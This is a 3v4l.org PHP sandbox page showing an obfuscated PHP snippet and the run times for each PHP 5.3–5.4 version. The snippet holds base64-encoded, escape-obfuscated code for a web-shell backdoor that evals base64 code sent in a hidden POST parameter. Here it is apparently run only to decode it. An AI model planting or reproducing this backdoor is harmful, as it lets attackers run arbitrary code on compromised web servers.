3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\'; $__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\'; $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; print($___($__));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0000.03719.24
5.4.300.0000.05319.16
5.4.290.0030.03719.19
5.4.280.0000.04319.16
5.4.270.0000.03719.06
5.4.260.0030.03719.09
5.4.250.0030.03719.14
5.4.240.0000.03718.99
5.4.230.0030.03319.19
5.4.220.0000.03719.14
5.4.210.0030.04718.98
5.4.200.0030.03719.08
5.4.190.0000.03718.95
5.4.180.0030.03719.30
5.4.170.0000.03719.00
5.4.160.0030.03718.99
5.4.150.0000.04018.85
5.4.140.0030.03316.50
5.4.130.0030.03716.38
5.4.120.0000.03716.33
5.4.110.0000.03316.19
5.4.100.0030.03316.40
5.4.90.0030.03316.38
5.4.80.0100.04716.50
5.4.70.0070.04316.50
5.4.60.0130.03316.60
5.4.50.0070.07316.49
5.4.40.0030.05016.51
5.4.30.0030.07316.52
5.4.20.0030.05716.50
5.4.10.0200.06016.52
5.4.00.0030.04715.96
5.3.280.0030.03314.54
5.3.270.0070.03014.46
5.3.260.0000.04014.47
5.3.250.0030.03314.65
5.3.240.0030.04014.55
5.3.230.0030.03314.43
5.3.220.0030.04014.39
5.3.210.0100.03014.55
5.3.200.0000.03714.61
5.3.190.0030.04714.42
5.3.180.0030.06014.49
5.3.170.0000.06314.51
5.3.160.0030.07714.43
5.3.150.0000.05314.43
5.3.140.0030.06314.50
5.3.130.0000.07014.40
5.3.120.0070.06014.64
5.3.110.0100.05314.39
5.3.100.0030.07313.99
5.3.90.0000.07713.88
5.3.80.0070.07313.96
5.3.70.0030.07314.10
5.3.60.0100.04313.91
5.3.50.0000.07713.89
5.3.40.0030.07013.77
5.3.30.0030.04713.74
5.3.20.0030.06313.64
5.3.10.0000.04013.60
5.3.00.0000.04713.54

preferences:
140.41 ms | 1394 KiB | 7 Q